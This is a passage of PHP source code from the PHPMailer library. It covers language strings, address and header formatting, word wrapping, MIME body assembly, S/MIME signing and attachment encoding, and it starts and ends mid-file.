'sr' => 'rs'\n );\n\n if (isset($renamed_langcodes[$langcode])) {\n $langcode = $renamed_langcodes[$langcode];\n }\n\n \/\/ Define full set of translatable strings in English\n $PHPMAILER_LANG = array(\n 'authenticate' => 'SMTP Error: Could not authenticate.',\n 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',\n 'data_not_accepted' => 'SMTP Error: data not accepted.',\n 'empty_message' => 'Message body empty',\n 'encoding' => 'Unknown encoding: ',\n 'execute' => 'Could not execute: ',\n 'file_access' => 'Could not access file: ',\n 'file_open' => 'File Error: Could not open file: ',\n 'from_failed' => 'The following From address failed: ',\n 'instantiate' => 'Could not instantiate mail function.',\n 'invalid_address' => 'Invalid address: ',\n 'mailer_not_supported' => ' mailer is not supported.',\n 'provide_address' => 'You must provide at least one recipient email address.',\n 'recipients_failed' => 'SMTP Error: The following recipients failed: ',\n 'signing' => 'Signing Error: ',\n 'smtp_connect_failed' => 'SMTP connect() failed.',\n 'smtp_error' => 'SMTP server error: ',\n 'variable_set' => 'Cannot set or reset variable: ',\n 'extension_missing' => 'Extension missing: '\n );\n if (empty($lang_path)) {\n \/\/ Calculate an absolute path so it can work if CWD is not here\n $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;\n }\n \/\/Validate $langcode\n if (!preg_match('\/^[a-z]{2}(?:_[a-zA-Z]{2})?$\/', $langcode)) {\n $langcode = 'en';\n }\n $foundlang = true;\n $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';\n \/\/ There is no English translation file\n if ($langcode != 'en') {\n \/\/ Make sure language file path is readable\n if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {\n $foundlang = false;\n } else {\n \/\/ Overwrite language-specific strings.\n \/\/ This way we'll never have missing translation keys.\n $foundlang = include $lang_file;\n }\n }\n $this->language = $PHPMAILER_LANG;\n return (boolean)$foundlang; \/\/ Returns false if language not found\n }\n\n \/**\n * Get the array of strings for the current language.\n * @return array\n *\/\n public function getTranslations()\n {\n return $this->language;\n }\n\n \/**\n * Create recipient headers.\n * @access public\n * @param string $type\n * @param array $addr An array of recipient,\n * where each recipient is a 2-element indexed array with element 0 containing an address\n * and element 1 containing a name, like:\n * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))\n * @return string\n *\/\n public function addrAppend($type, $addr)\n {\n $addresses = array();\n foreach ($addr as $address) {\n $addresses[] = $this->addrFormat($address);\n }\n return $type . ': ' . implode(', ', $addresses) . $this->LE;\n }\n\n \/**\n * Format an address for use in a message header.\n * @access public\n * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name\n * like array('joe@example.com', 'Joe User')\n * @return string\n *\/\n public function addrFormat($addr)\n {\n if (empty($addr[1])) { \/\/ No name provided\n return $this->secureHeader($addr[0]);\n } else {\n return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(\n $addr[0]\n ) . '>';\n }\n }\n\n \/**\n * Word-wrap message.\n * For use with mailers that do not automatically perform wrapping\n * and for quoted-printable encoded messages.\n * Original written by philippe.\n * @param string $message The message to wrap\n * @param integer $length The line length to wrap to\n * @param boolean $qp_mode Whether to run in Quoted-Printable mode\n * @access public\n * @return string\n *\/\n public function wrapText($message, $length, $qp_mode = false)\n {\n if ($qp_mode) {\n $soft_break = sprintf(' =%s', $this->LE);\n } else {\n $soft_break = $this->LE;\n }\n \/\/ If utf-8 encoding is used, we will need to make sure we don't\n \/\/ split multibyte characters when we wrap\n $is_utf8 = (strtolower($this->CharSet) == 'utf-8');\n $lelen = strlen($this->LE);\n $crlflen = strlen(self::CRLF);\n\n $message = $this->fixEOL($message);\n \/\/Remove a trailing line break\n if (substr($message, -$lelen) == $this->LE) {\n $message = substr($message, 0, -$lelen);\n }\n\n \/\/Split message into lines\n $lines = explode($this->LE, $message);\n \/\/Message will be rebuilt in here\n $message = '';\n foreach ($lines as $line) {\n $words = explode(' ', $line);\n $buf = '';\n $firstword = true;\n foreach ($words as $word) {\n if ($qp_mode and (strlen($word) > $length)) {\n $space_left = $length - strlen($buf) - $crlflen;\n if (!$firstword) {\n if ($space_left > 20) {\n $len = $space_left;\n if ($is_utf8) {\n $len = $this->utf8CharBoundary($word, $len);\n } elseif (substr($word, $len - 1, 1) == '=') {\n $len--;\n } elseif (substr($word, $len - 2, 1) == '=') {\n $len -= 2;\n }\n $part = substr($word, 0, $len);\n $word = substr($word, $len);\n $buf .= ' ' . $part;\n $message .= $buf . sprintf('=%s', self::CRLF);\n } else {\n $message .= $buf . $soft_break;\n }\n $buf = '';\n }\n while (strlen($word) > 0) {\n if ($length <= 0) {\n break;\n }\n $len = $length;\n if ($is_utf8) {\n $len = $this->utf8CharBoundary($word, $len);\n } elseif (substr($word, $len - 1, 1) == '=') {\n $len--;\n } elseif (substr($word, $len - 2, 1) == '=') {\n $len -= 2;\n }\n $part = substr($word, 0, $len);\n $word = substr($word, $len);\n\n if (strlen($word) > 0) {\n $message .= $part . sprintf('=%s', self::CRLF);\n } else {\n $buf = $part;\n }\n }\n } else {\n $buf_o = $buf;\n if (!$firstword) {\n $buf .= ' ';\n }\n $buf .= $word;\n\n if (strlen($buf) > $length and $buf_o != '') {\n $message .= $buf_o . $soft_break;\n $buf = $word;\n }\n }\n $firstword = false;\n }\n $message .= $buf . self::CRLF;\n }\n\n return $message;\n }\n\n \/**\n * Find the last character boundary prior to $maxLength in a utf-8\n * quoted-printable encoded string.\n * Original written by Colin Brown.\n * @access public\n * @param string $encodedText utf-8 QP text\n * @param integer $maxLength Find the last character boundary prior to this length\n * @return integer\n *\/\n public function utf8CharBoundary($encodedText, $maxLength)\n {\n $foundSplitPos = false;\n $lookBack = 3;\n while (!$foundSplitPos) {\n $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);\n $encodedCharPos = strpos($lastChunk, '=');\n if (false !== $encodedCharPos) {\n \/\/ Found start of encoded character byte within $lookBack block.\n \/\/ Check the encoded byte value (the 2 chars after the '=')\n $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);\n $dec = hexdec($hex);\n if ($dec < 128) {\n \/\/ Single byte character.\n \/\/ If the encoded char was found at pos 0, it will fit\n \/\/ otherwise reduce maxLength to start of the encoded char\n if ($encodedCharPos > 0) {\n $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n }\n $foundSplitPos = true;\n } elseif ($dec >= 192) {\n \/\/ First byte of a multi byte character\n \/\/ Reduce maxLength to split at start of character\n $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n $foundSplitPos = true;\n } elseif ($dec < 192) {\n \/\/ Middle byte of a multi byte character, look further back\n $lookBack += 3;\n }\n } else {\n \/\/ No encoded character found\n $foundSplitPos = true;\n }\n }\n return $maxLength;\n }\n\n \/**\n * Apply word wrapping to the message body.\n * Wraps the message body to the number of chars set in the WordWrap property.\n * You should only do this to plain-text bodies as wrapping HTML tags may break them.\n * This is called automatically by createBody(), so you don't need to call it yourself.\n * @access public\n * @return void\n *\/\n public function setWordWrap()\n {\n if ($this->WordWrap < 1) {\n return;\n }\n\n switch ($this->message_type) {\n case 'alt':\n case 'alt_inline':\n case 'alt_attach':\n case 'alt_inline_attach':\n $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);\n break;\n default:\n $this->Body = $this->wrapText($this->Body, $this->WordWrap);\n break;\n }\n }\n\n \/**\n * Assemble message headers.\n * @access public\n * @return string The assembled headers\n *\/\n public function createHeader()\n {\n $result = '';\n\n $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);\n\n \/\/ To be created automatically by mail()\n if ($this->SingleTo) {\n if ($this->Mailer != 'mail') {\n foreach ($this->to as $toaddr) {\n $this->SingleToArray[] = $this->addrFormat($toaddr);\n }\n }\n } else {\n if (count($this->to) > 0) {\n if ($this->Mailer != 'mail') {\n $result .= $this->addrAppend('To', $this->to);\n }\n } elseif (count($this->cc) == 0) {\n $result .= $this->headerLine('To', 'undisclosed-recipients:;');\n }\n }\n\n $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));\n\n \/\/ sendmail and mail() extract Cc from the header before sending\n if (count($this->cc) > 0) {\n $result .= $this->addrAppend('Cc', $this->cc);\n }\n\n \/\/ sendmail and mail() extract Bcc from the header before sending\n if ((\n $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'\n )\n and count($this->bcc) > 0\n ) {\n $result .= $this->addrAppend('Bcc', $this->bcc);\n }\n\n if (count($this->ReplyTo) > 0) {\n $result .= $this->addrAppend('Reply-To', $this->ReplyTo);\n }\n\n \/\/ mail() sets the subject itself\n if ($this->Mailer != 'mail') {\n $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));\n }\n\n \/\/ Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4\n \/\/ https:\/\/tools.ietf.org\/html\/rfc5322#section-3.6.4\n if ('' != $this->MessageID and preg_match('\/^<.*@.*>$\/', $this->MessageID)) {\n $this->lastMessageID = $this->MessageID;\n } else {\n $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());\n }\n $result .= $this->headerLine('Message-ID', $this->lastMessageID);\n if (!is_null($this->Priority)) {\n $result .= $this->headerLine('X-Priority', $this->Priority);\n }\n if ($this->XMailer == '') {\n $result .= $this->headerLine(\n 'X-Mailer',\n 'PHPMailer ' . $this->Version . ' (https:\/\/github.com\/PHPMailer\/PHPMailer)'\n );\n } else {\n $myXmailer = trim($this->XMailer);\n if ($myXmailer) {\n $result .= $this->headerLine('X-Mailer', $myXmailer);\n }\n }\n\n if ($this->ConfirmReadingTo != '') {\n $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');\n }\n\n \/\/ Add custom headers\n foreach ($this->CustomHeader as $header) {\n $result .= $this->headerLine(\n trim($header[0]),\n $this->encodeHeader(trim($header[1]))\n );\n }\n if (!$this->sign_key_file) {\n $result .= $this->headerLine('MIME-Version', '1.0');\n $result .= $this->getMailMIME();\n }\n\n return $result;\n }\n\n \/**\n * Get the message MIME type headers.\n * @access public\n * @return string\n *\/\n public function getMailMIME()\n {\n $result = '';\n $ismultipart = true;\n switch ($this->message_type) {\n case 'inline':\n $result .= $this->headerLine('Content-Type', 'multipart\/related;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n case 'attach':\n case 'inline_attach':\n case 'alt_attach':\n case 'alt_inline_attach':\n $result .= $this->headerLine('Content-Type', 'multipart\/mixed;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n case 'alt':\n case 'alt_inline':\n $result .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n default:\n \/\/ Catches case 'plain': and case '':\n $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);\n $ismultipart = false;\n break;\n }\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($this->Encoding != '7bit') {\n \/\/ RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE\n if ($ismultipart) {\n if ($this->Encoding == '8bit') {\n $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');\n }\n \/\/ The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible\n } else {\n $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);\n }\n }\n\n if ($this->Mailer != 'mail') {\n $result .= $this->LE;\n }\n\n return $result;\n }\n\n \/**\n * Returns the whole MIME message.\n * Includes complete headers and body.\n * Only valid post preSend().\n * @see PHPMailer::preSend()\n * @access public\n * @return string\n *\/\n public function getSentMIMEMessage()\n {\n return rtrim($this->MIMEHeader . $this->mailHeader, \"\\n\\r\") . self::CRLF . self::CRLF . $this->MIMEBody;\n }\n\n \/**\n * Create unique ID\n * @return string\n *\/\n protected function generateId() {\n return md5(uniqid(time()));\n }\n\n \/**\n * Assemble the message body.\n * Returns an empty string on failure.\n * @access public\n * @throws phpmailerException\n * @return string The assembled message body\n *\/\n public function createBody()\n {\n $body = '';\n \/\/Create unique IDs and preset boundaries\n $this->uniqueid = $this->generateId();\n $this->boundary[1] = 'b1_' . $this->uniqueid;\n $this->boundary[2] = 'b2_' . $this->uniqueid;\n $this->boundary[3] = 'b3_' . $this->uniqueid;\n\n if ($this->sign_key_file) {\n $body .= $this->getMailMIME() . $this->LE;\n }\n\n $this->setWordWrap();\n\n $bodyEncoding = $this->Encoding;\n $bodyCharSet = $this->CharSet;\n \/\/Can we do a 7-bit downgrade?\n if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {\n $bodyEncoding = '7bit';\n \/\/All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n $bodyCharSet = 'us-ascii';\n }\n \/\/If lines are too long, and we're not already using an encoding that will shorten them,\n \/\/change to quoted-printable transfer encoding for the body part only\n if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {\n $bodyEncoding = 'quoted-printable';\n }\n\n $altBodyEncoding = $this->Encoding;\n $altBodyCharSet = $this->CharSet;\n \/\/Can we do a 7-bit downgrade?\n if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {\n $altBodyEncoding = '7bit';\n \/\/All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n $altBodyCharSet = 'us-ascii';\n }\n \/\/If lines are too long, and we're not already using an encoding that will shorten them,\n \/\/change to quoted-printable transfer encoding for the alt body part only\n if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {\n $altBodyEncoding = 'quoted-printable';\n }\n \/\/Use this as a preamble in all multipart message types\n $mimepre = \"This is a multi-part message in MIME format.\" . $this->LE . $this->LE;\n switch ($this->message_type) {\n case 'inline':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[1]);\n break;\n case 'attach':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'inline_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'alt':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n if (!empty($this->Ical)) {\n $body .= $this->getBoundary($this->boundary[1], '', 'text\/calendar; method=REQUEST', '');\n $body .= $this->encodeString($this->Ical, $this->Encoding);\n $body .= $this->LE . $this->LE;\n }\n $body .= $this->endBoundary($this->boundary[1]);\n break;\n case 'alt_inline':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->endBoundary($this->boundary[1]);\n break;\n case 'alt_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->endBoundary($this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'alt_inline_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->textLine('--' . $this->boundary[2]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[3] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[3]);\n $body .= $this->LE;\n $body .= $this->endBoundary($this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n default:\n \/\/ Catch case 'plain' and case '', applies to simple `text\/plain` and `text\/html` body content types\n \/\/Reset the `Encoding` property in case we changed it for line length reasons\n $this->Encoding = $bodyEncoding;\n $body .= $this->encodeString($this->Body, $this->Encoding);\n break;\n }\n\n if ($this->isError()) {\n $body = '';\n } elseif ($this->sign_key_file) {\n try {\n if (!defined('PKCS7_TEXT')) {\n throw new phpmailerException($this->lang('extension_missing') . 'openssl');\n }\n \/\/ @TODO would be nice to use php:\/\/temp streams here, but need to wrap for PHP < 5.1\n $file = tempnam(sys_get_temp_dir(), 'mail');\n if (false === file_put_contents($file, $body)) {\n throw new phpmailerException($this->lang('signing') . ' Could not write temp file');\n }\n $signed = tempnam(sys_get_temp_dir(), 'signed');\n \/\/Workaround for PHP bug https:\/\/bugs.php.net\/bug.php?id=69197\n if (empty($this->sign_extracerts_file)) {\n $sign = @openssl_pkcs7_sign(\n $file,\n $signed,\n 'file:\/\/' . realpath($this->sign_cert_file),\n array('file:\/\/' . realpath($this->sign_key_file), $this->sign_key_pass),\n null\n );\n } else {\n $sign = @openssl_pkcs7_sign(\n $file,\n $signed,\n 'file:\/\/' . realpath($this->sign_cert_file),\n array('file:\/\/' . realpath($this->sign_key_file), $this->sign_key_pass),\n null,\n PKCS7_DETACHED,\n $this->sign_extracerts_file\n );\n }\n if ($sign) {\n @unlink($file);\n $body = file_get_contents($signed);\n @unlink($signed);\n \/\/The message returned by openssl contains both headers and body, so need to split them up\n $parts = explode(\"\\n\\n\", $body, 2);\n $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;\n $body = $parts[1];\n } else {\n @unlink($file);\n @unlink($signed);\n throw new phpmailerException($this->lang('signing') . openssl_error_string());\n }\n } catch (phpmailerException $exc) {\n $body = '';\n if ($this->exceptions) {\n throw $exc;\n }\n }\n }\n return $body;\n }\n\n \/**\n * Return the start of a message boundary.\n * @access protected\n * @param string $boundary\n * @param string $charSet\n * @param string $contentType\n * @param string $encoding\n * @return string\n *\/\n protected function getBoundary($boundary, $charSet, $contentType, $encoding)\n {\n $result = '';\n if ($charSet == '') {\n $charSet = $this->CharSet;\n }\n if ($contentType == '') {\n $contentType = $this->ContentType;\n }\n if ($encoding == '') {\n $encoding = $this->Encoding;\n }\n $result .= $this->textLine('--' . $boundary);\n $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);\n $result .= $this->LE;\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($encoding != '7bit') {\n $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);\n }\n $result .= $this->LE;\n\n return $result;\n }\n\n \/**\n * Return the end of a message boundary.\n * @access protected\n * @param string $boundary\n * @return string\n *\/\n protected function endBoundary($boundary)\n {\n return $this->LE . '--' . $boundary . '--' . $this->LE;\n }\n\n \/**\n * Set the message type.\n * PHPMailer only supports some preset message types, not arbitrary MIME structures.\n * @access protected\n * @return void\n *\/\n protected function setMessageType()\n {\n $type = array();\n if ($this->alternativeExists()) {\n $type[] = 'alt';\n }\n if ($this->inlineImageExists()) {\n $type[] = 'inline';\n }\n if ($this->attachmentExists()) {\n $type[] = 'attach';\n }\n $this->message_type = implode('_', $type);\n if ($this->message_type == '') {\n \/\/The 'plain' message_type refers to the message having a single body element, not that it is plain-text\n $this->message_type = 'plain';\n }\n }\n\n \/**\n * Format a header line.\n * @access public\n * @param string $name\n * @param string $value\n * @return string\n *\/\n public function headerLine($name, $value)\n {\n return $name . ': ' . $value . $this->LE;\n }\n\n \/**\n * Return a formatted mail line.\n * @access public\n * @param string $value\n * @return string\n *\/\n public function textLine($value)\n {\n return $value . $this->LE;\n }\n\n \/**\n * Add an attachment from a path on the filesystem.\n * Never use a user-supplied path to a file!\n * Returns false if the file could not be found or read.\n * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.\n * If you need to do that, fetch the resource yourself and pass it in via a local file or string.\n * @param string $path Path to the attachment.\n * @param string $name Overrides the attachment name.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File extension (MIME) type.\n * @param string $disposition Disposition to use\n * @throws phpmailerException\n * @return boolean\n *\/\n public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')\n {\n try {\n if (!self::isPermittedPath($path) or !@is_file($path)) {\n throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);\n }\n\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($path);\n }\n\n $filename = basename($path);\n if ($name == '') {\n $name = $filename;\n }\n\n $this->attachment[] = array(\n 0 => $path,\n 1 => $filename,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => false, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => 0\n );\n\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n $this->edebug($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n return true;\n }\n\n \/**\n * Return the array of attachments.\n * @return array\n *\/\n public function getAttachments()\n {\n return $this->attachment;\n }\n\n \/**\n * Attach all file, string, and binary attachments to the message.\n * Returns an empty string on failure.\n * @access protected\n * @param string $disposition_type\n * @param string $boundary\n * @return string\n *\/\n protected function attachAll($disposition_type, $boundary)\n {\n \/\/ Return text of body\n $mime = array();\n $cidUniq = array();\n $incl = array();\n\n \/\/ Add all attachments\n foreach ($this->attachment as $attachment) {\n \/\/ Check if it is a valid disposition_filter\n if ($attachment[6] == $disposition_type) {\n \/\/ Check for string attachment\n $string = '';\n $path = '';\n $bString = $attachment[5];\n if ($bString) {\n $string = $attachment[0];\n } else {\n $path = $attachment[0];\n }\n\n $inclhash = md5(serialize($attachment));\n if (in_array($inclhash, $incl)) {\n continue;\n }\n $incl[] = $inclhash;\n $name = $attachment[2];\n $encoding = $attachment[3];\n $type = $attachment[4];\n $disposition = $attachment[6];\n $cid = $attachment[7];\n if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {\n continue;\n }\n $cidUniq[$cid] = true;\n\n $mime[] = sprintf('--%s%s', $boundary, $this->LE);\n \/\/Only include a filename property if we have one\n if (!empty($name)) {\n $mime[] = sprintf(\n 'Content-Type: %s; name=\"%s\"%s',\n $type,\n $this->encodeHeader($this->secureHeader($name)),\n $this->LE\n );\n } else {\n $mime[] = sprintf(\n 'Content-Type: %s%s',\n $type,\n $this->LE\n );\n }\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($encoding != '7bit') {\n $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);\n }\n\n if ($disposition == 'inline') {\n $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);\n }\n\n \/\/ If a filename contains any of these chars, it should be quoted,\n \/\/ but not otherwise: RFC2183 & RFC2045 5.1\n \/\/ Fixes a warning in IETF's msglint MIME checker\n \/\/ Allow for bypassing the Content-Disposition header totally\n if (!(empty($disposition))) {\n $encoded_name = $this->encodeHeader($this->secureHeader($name));\n if (preg_match('\/[ \\(\\)<>@,;:\\\\\"\\\/\\[\\]\\?=]\/', $encoded_name)) {\n $mime[] = sprintf(\n 'Content-Disposition: %s; filename=\"%s\"%s',\n $disposition,\n $encoded_name,\n $this->LE . $this->LE\n );\n } else {\n if (!empty($encoded_name)) {\n $mime[] = sprintf(\n 'Content-Disposition: %s; filename=%s%s',\n $disposition,\n $encoded_name,\n $this->LE . $this->LE\n );\n } else {\n $mime[] = sprintf(\n 'Content-Disposition: %s%s',\n $disposition,\n $this->LE . $this->LE\n );\n }\n }\n } else {\n $mime[] = $this->LE;\n }\n\n \/\/ Encode as string attachment\n if ($bString) {\n $mime[] = $this->encodeString($string, $encoding);\n if ($this->isError()) {\n return '';\n }\n $mime[] = $this->LE . $this->LE;\n } else {\n $mime[] = $this->encodeFile($path, $encoding);\n if ($this->isError()) {\n return '';\n }\n $mime[] = $this->LE . $this->LE;\n }\n }\n }\n\n $mime[] = sprintf('--%s--%s', $boundary, $this->LE);\n\n return implode('', $mime);\n }\n\n \/**\n * Encode a file attachment in requested format.\n * Returns an empty string on failure.\n * @param string $path The full path to the file\n * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'\n * @throws phpmailerException\n * @access protected\n * @return string\n *\/\n protected function encodeFile($path, $encoding = 'base64')\n {\n try {\n if (!self::isPermittedPath($path) or !file_exists($path)) {\n throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);\n }\n $magic_quotes = false;\n if( version_compare(PHP_VERSION, '7.4.0', '<') ) {\n $magic_quotes = get_magic_quotes_runtime();\n }\n if ($magic_quotes) {\n if (version_compare(PHP_VERSION, '5.3.0', '<')) {\n set_magic_quotes_runtime(false);\n } else {\n \/\/Doesn't exist in PHP 5.4, but we don't need to check because\n \/\/get_magic_quotes_runtime always returns false in 5.4+\n \/\/so it will never get here\n ini_set('magic_quotes_runtime', false);\n }\n }\n $file_buffer = file_get_contents($path);\n $file_buffer = $this->encodeString($file_buffer, $encoding);\n if ($magic_quotes) {\n if (version_compare(PHP_VERSION, '5.3.0', '<')) {\n set_magic_quotes_runtime($magic_quotes);\n } else {\n ini_set('magic_quotes_runtime', $magic_quotes);\n }\n }\n return $file_buffer;\n } catch (Exception $exc) {\n $this->setError($exc->getMessage());\n return '';\n }\n }\n\n \/**\n * Encode a string in requested format.\n * Returns an empty string on failure.\n * @param string $str The text to encode\n * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'\n * @access public\n * @return string\n *\/\n public function encodeString($str, $encoding = 'base64')\n {\n $encoded = '';\n switch (strtolower($encoding)) {\n case 'base64':\n $encoded = chunk_split(base64_encode($str), 76, $this->LE);\n break;\n case '7bit':\n case '8bit':\n $encoded = $this->fixEOL($str);\n \/\/ Make sure it ends with a line break\n if (substr($encoded, -(strlen($this->LE))) != $this->LE) {\n $encoded .= $this->LE;\n }\n break;\n case 'binary':\n $encoded = $str;\n break;\n case 'quoted-printable':\n $encoded = $this->encodeQP($str);\n break;\n default:\n $this->setError($this->lang('encoding') . $encoding);\n break;\n }\n return $encoded;\n }\n\n \/**\n * Encode a header string optimally.\n * Picks shortest of Q, B, quoted-printable or none.\n * @access public\n * @param string $str\n * @param string $position\n * @return string\n *\/\n public function encodeHeader($str, $position = 'text')\n {\n $matchcount = 0;\n switch (strtolower($position)) {\n case 'phrase':\n if (!preg_match('\/[\\200-\\377]\/', $str)) {\n \/\/ Can't use addslashes as we don't know the value of magic_quotes_sybase\n $encoded = addcslashes($str, \"\\0..\\37\\177\\\\\\\"\");\n if (($str == $encoded) && !preg_match('\/[^A-Za-z0-9!#$%&\\'*+\\\/=?^_`{|}~ -]\/', $str)) {\n return ($encoded);\n } else {\n return (\"\\\"$encoded\\\"\");\n }\n }\n $matchcount = preg_match_all('\/[^\\040\\041\\043-\\133\\135-\\176]\/', $str, $matches);\n break;\n \/** @noinspection PhpMissingBreakStatementInspection *\/\n case 'comment':\n $matchcount = preg_match_all('\/[()\"]\/', $str, $matches);\n \/\/ Intentional fall-through\n case 'text':\n default:\n $matchcount += preg_match_all('\/[\\000-\\010\\013\\014\\016-\\037\\177-\\377]\/', $str, $matches);\n break;\n }\n\n \/\/There are no chars that need encoding\n if ($matchcount == 0) {\n return ($str);\n }\n\n 